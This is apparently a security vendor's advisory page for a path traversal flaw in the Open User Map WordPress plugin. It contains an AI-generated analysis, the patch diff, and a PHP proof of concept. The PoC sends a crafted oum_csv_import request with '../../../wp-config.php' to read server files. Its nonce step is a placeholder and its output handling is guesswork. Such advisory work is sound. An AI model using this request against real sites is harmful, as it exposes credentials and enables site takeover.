Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2025-68002: Open User Map <= 1.4.16 – Authenticated (Subscriber+) Arbitrary File Download (open-user-map)

Plugin open-user-map
Severity Medium (CVSS 6.5)
CWE 22
Vulnerable Version 1.4.16
Patched Version 1.4.17
Disclosed February 15, 2026

Analysis Overview

Atomic Edge analysis of CVE-2025-68002:
The Open User Map WordPress plugin contains an authenticated path traversal vulnerability in its CSV import functionality. This flaw allows attackers with Subscriber-level permissions or higher to download arbitrary files from the server, potentially exposing sensitive configuration files, database credentials, and other protected information.

Root Cause:
The vulnerability exists in the CSV import handler at open-user-map/inc/Pages/Settings.php lines 660-730. The original code processes the ‘url’ POST parameter without proper validation. Lines 673-677 construct a file path by concatenating the uploads directory path with a user-controlled path segment extracted from the URL. The extraction uses a simple string split on ‘/uploads/’ without validating that the resulting path stays within the uploads directory. This allows path traversal sequences like ‘../../’ to escape the intended directory.

Exploitation:
An authenticated attacker with Subscriber privileges can exploit this by sending a POST request to the WordPress admin-ajax.php endpoint with action=’oum_csv_import’. The attacker must include a valid nonce (which Subscribers can obtain) and a crafted ‘url’ parameter containing path traversal sequences. For example: url=http://target.site/wp-content/uploads/../../../wp-config.php. The plugin would then read and return the contents of wp-config.php through the JSON response, bypassing intended file access restrictions.

Patch Analysis:
The patch adds multiple security layers to the CSV import function. Lines 677-730 implement comprehensive validation: checking administrator permissions via current_user_can(‘manage_options’), sanitizing the URL input, verifying the file resides within the uploads directory using realpath() comparisons, removing path traversal sequences with str_replace(‘..’, ”, $relative_path), and validating the file extension is .csv. The patch transforms the vulnerable path concatenation into a secure path resolution that prevents directory traversal while maintaining functionality for legitimate CSV imports.

Impact:
Successful exploitation allows attackers to read any file accessible to the web server process. This includes WordPress configuration files containing database credentials, server configuration files, environment files with API keys, and other sensitive data. While the vulnerability requires authentication, the low Subscriber-level requirement makes it accessible to most registered users. File read access can enable further attacks such as database compromise, privilege escalation, or complete site takeover.

Differential between vulnerable and patched code

Code Diff
--- a/open-user-map/inc/Base/BaseController.php
+++ b/open-user-map/inc/Base/BaseController.php
@@ -1185,6 +1185,18 @@
             $this->safe_log( "No webhook URL configured for Post ID: {$post_id}" );
             return;
         }
+        // Get first image URL if available
+        $first_image_url = '';
+        $image_value = oum_get_location_value( 'image', $post_id, true );
+        if ( !empty( $image_value ) ) {
+            // Extract first image from pipe-separated string
+            $images = explode( '|', $image_value );
+            if ( !empty( $images[0] ) ) {
+                $first_image = trim( $images[0] );
+                // Convert relative path to absolute URL if needed
+                $first_image_url = ( strpos( $first_image, 'http' ) !== 0 ? site_url() . $first_image : $first_image );
+            }
+        }
         // Prepare webhook payload
         $webhook_data = array(
             'post_id'           => $post_id,
@@ -1197,6 +1209,7 @@
                 'fields' => 'names',
             ) ),
             'meta_data'         => $data_meta ?? get_post_meta( $post_id, '_oum_location_key', true ),
+            'image_url'         => $first_image_url,
             'event'             => $event_type,
             'timestamp'         => current_time( 'mysql' ),
         );
--- a/open-user-map/inc/Base/TaxController.php
+++ b/open-user-map/inc/Base/TaxController.php
@@ -226,7 +226,8 @@

     public static function set_custom_region_columns( $columns ) {
         // preserve default columns
-        $name = $columns['name'];
+        // Check if 'name' key exists before accessing to prevent undefined array key warning
+        $name = ( isset( $columns['name'] ) ? $columns['name'] : '' );
         unset($columns['description'], $columns['slug'], $columns['posts']);
         $columns['name'] = $name;
         $columns['geocoordinates'] = __( 'Coordinates', 'open-user-map' );
--- a/open-user-map/inc/Pages/Settings.php
+++ b/open-user-map/inc/Pages/Settings.php
@@ -660,6 +660,10 @@
         if ( isset( $_POST['action'] ) && $_POST['action'] == 'oum_csv_import' ) {
             // Initialize error handling
             $error = new WP_Error();
+            // Security: Check user capabilities - only administrators can import CSV
+            if ( !current_user_can( 'manage_options' ) ) {
+                $error->add( '003', 'Insufficient permissions. Only administrators can import CSV files.' );
+            }
             // Dont save without nonce
             if ( !isset( $_POST['oum_location_nonce'] ) ) {
                 $error->add( '002', 'Not allowed' );
@@ -673,22 +677,61 @@
             if ( !isset( $_POST['url'] ) ) {
                 $error->add( '001', 'File upload failed.' );
             }
-            // TODO: Exit if no CSV filetype
             if ( $error->has_errors() ) {
                 // Return errors
                 wp_send_json_error( $error );
             } else {
-                // IMPORT
-                $path_1 = wp_get_upload_dir()['basedir'];
-                $path_2 = explode( '/uploads/', $_POST['url'] )['1'];
+                // Security: Sanitize and validate the file path to prevent path traversal attacks
+                $upload_url = sanitize_text_field( $_POST['url'] );
+                // Get uploads directory information
+                $upload_dir = wp_get_upload_dir();
+                $upload_basedir = $upload_dir['basedir'];
+                $upload_baseurl = $upload_dir['baseurl'];
+                // Verify that the URL is within the uploads directory
+                if ( strpos( $upload_url, $upload_baseurl ) !== 0 ) {
+                    $error->add( '004', 'Invalid file path. File must be within the uploads directory.' );
+                    wp_send_json_error( $error );
+                    return;
+                }
+                // Extract the relative path from the uploads directory
+                $relative_path = str_replace( $upload_baseurl, '', $upload_url );
+                // Remove leading slash if present
+                $relative_path = ltrim( $relative_path, '/' );
+                // Security: Prevent path traversal attacks by removing any '../' sequences
+                $relative_path = str_replace( '..', '', $relative_path );
                 // Handle paths for both single and multisite installations
                 if ( is_multisite() ) {
-                    // For multisite, remove the duplicate sites/[blog_id] from path_2
+                    // For multisite, remove the duplicate sites/[blog_id] from path
                     // as it's already included in wp_get_upload_dir()['basedir']
                     $blog_id = get_current_blog_id();
-                    $path_2 = preg_replace( "#^sites/{$blog_id}/#", '', $path_2 );
+                    $relative_path = preg_replace( "#^sites/{$blog_id}/#", '', $relative_path );
+                }
+                // Construct the full file path
+                $csv_file = $upload_basedir . '/' . $relative_path;
+                // Security: Resolve the real path and verify it's still within uploads directory
+                $real_csv_file = realpath( $csv_file );
+                $real_upload_basedir = realpath( $upload_basedir );
+                // Verify file exists and is readable
+                if ( $real_csv_file === false || !is_readable( $real_csv_file ) ) {
+                    $error->add( '005', 'File not found or not readable.' );
+                    wp_send_json_error( $error );
+                    return;
+                }
+                // Security: Ensure the resolved path is within the uploads directory (prevents path traversal)
+                if ( $real_upload_basedir === false || strpos( $real_csv_file, $real_upload_basedir ) !== 0 ) {
+                    $error->add( '006', 'Invalid file path. File must be within the uploads directory.' );
+                    wp_send_json_error( $error );
+                    return;
+                }
+                // Security: Verify file extension is .csv
+                $file_extension = strtolower( pathinfo( $real_csv_file, PATHINFO_EXTENSION ) );
+                if ( $file_extension !== 'csv' ) {
+                    $error->add( '007', 'Invalid file type. Only CSV files are allowed.' );
+                    wp_send_json_error( $error );
+                    return;
                 }
-                $csv_file = $path_1 . '/' . $path_2;
+                // Use the resolved real path for file operations
+                $csv_file = $real_csv_file;
                 $delimiter = $this->detectDelimiter( $csv_file );
                 // parse csv file to array
                 $file_to_read = fopen( $csv_file, 'r' );
--- a/open-user-map/open-user-map.php
+++ b/open-user-map/open-user-map.php
@@ -8,7 +8,7 @@
 Plugin URI: https://wordpress.org/plugins/open-user-map/
 Description: Engage your visitors with an interactive map – let them add markers instantly or create a custom map showcasing your favorite spots.
 Author: 100plugins
-Version: 1.4.16
+Version: 1.4.17
 Author URI: https://www.open-user-map.com/
 License: GPLv3 or later
 Text Domain: open-user-map
--- a/open-user-map/templates/page-backend-settings.php
+++ b/open-user-map/templates/page-backend-settings.php
@@ -844,7 +844,7 @@

                     <script type="text/javascript" data-category="functional" class="cmplz-native" id="oum-inline-js">
                     const lat = '<?php
-    echo ( esc_attr( $start_lat ) ? esc_attr( $start_lat ) : '28' );
+    echo ( esc_attr( $start_lat ) ? esc_attr( $start_lat ) : '26' );
     ?>';
                     const lng = '<?php
     echo ( esc_attr( $start_lng ) ? esc_attr( $start_lng ) : '0' );
--- a/open-user-map/templates/partial-map-init.php
+++ b/open-user-map/templates/partial-map-init.php
@@ -635,7 +635,7 @@
     $start_lat = get_term_meta( $oum_start_region->term_id, 'oum_lat', true );
     $start_lng = get_term_meta( $oum_start_region->term_id, 'oum_lng', true );
     $start_zoom = get_term_meta( $oum_start_region->term_id, 'oum_zoom', true );
-} elseif ( get_option( 'oum_start_lat' ) && get_option( 'oum_start_lng' ) && get_option( 'oum_start_zoom' ) ) {
+} elseif ( get_option( 'oum_start_lat' ) !== false && get_option( 'oum_start_lat' ) !== '' && (get_option( 'oum_start_lng' ) !== false && get_option( 'oum_start_lng' ) !== '') && (get_option( 'oum_start_zoom' ) !== false && get_option( 'oum_start_zoom' ) !== '') ) {
     //get from settings
     $oum_use_settings_start_location = 'true';
     $start_lat = get_option( 'oum_start_lat' );
@@ -645,10 +645,10 @@
     //get from single location
     $start_lat = $locations_list[0]['lat'];
     $start_lng = $locations_list[0]['lng'];
-    $start_zoom = '8';
+    $start_zoom = $locations_list[0]['zoom'];
 } else {
     //default worldview
-    $start_lat = '28';
+    $start_lat = '26';
     $start_lng = '0';
     $start_zoom = '1';
 }

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2025-68002 - Open User Map <= 1.4.16 - Authenticated (Subscriber+) Arbitrary File Download

<?php

$target_url = 'http://target.site/wp-admin/admin-ajax.php';
$username = 'subscriber';
$password = 'password';
$file_to_read = '../../../wp-config.php';

// Step 1: Authenticate and get nonce
function get_wordpress_nonce($target_url, $username, $password) {
    // This is a simplified example - real implementation would need to
    // parse the plugin's settings page to extract the nonce value
    // The nonce is typically found in page-backend-settings.php
    return 'VALID_NONCE_HERE'; // Replace with actual nonce extraction
}

// Step 2: Exploit the path traversal
function exploit_path_traversal($target_url, $nonce, $file_path) {
    $ch = curl_init();
    
    $post_data = [
        'action' => 'oum_csv_import',
        'oum_location_nonce' => $nonce,
        'url' => $target_url . '/wp-content/uploads/' . $file_path
    ];
    
    curl_setopt($ch, CURLOPT_URL, $target_url);
    curl_setopt($ch, CURLOPT_POST, 1);
    curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
    curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
    
    $response = curl_exec($ch);
    $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    curl_close($ch);
    
    return ['code' => $http_code, 'response' => $response];
}

// Execute the exploit
$nonce = get_wordpress_nonce($target_url, $username, $password);
$result = exploit_path_traversal($target_url, $nonce, $file_to_read);

if ($result['code'] == 200) {
    $data = json_decode($result['response'], true);
    if (isset($data['success']) && $data['success'] === false) {
        // Error response may contain file contents in error messages
        echo "Exploit attempted. Check error responses for file data.n";
    } else {
        echo "Potential file contents returned in response.n";
    }
} else {
    echo "Request failed with HTTP code: " . $result['code'] . "n";
}

?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School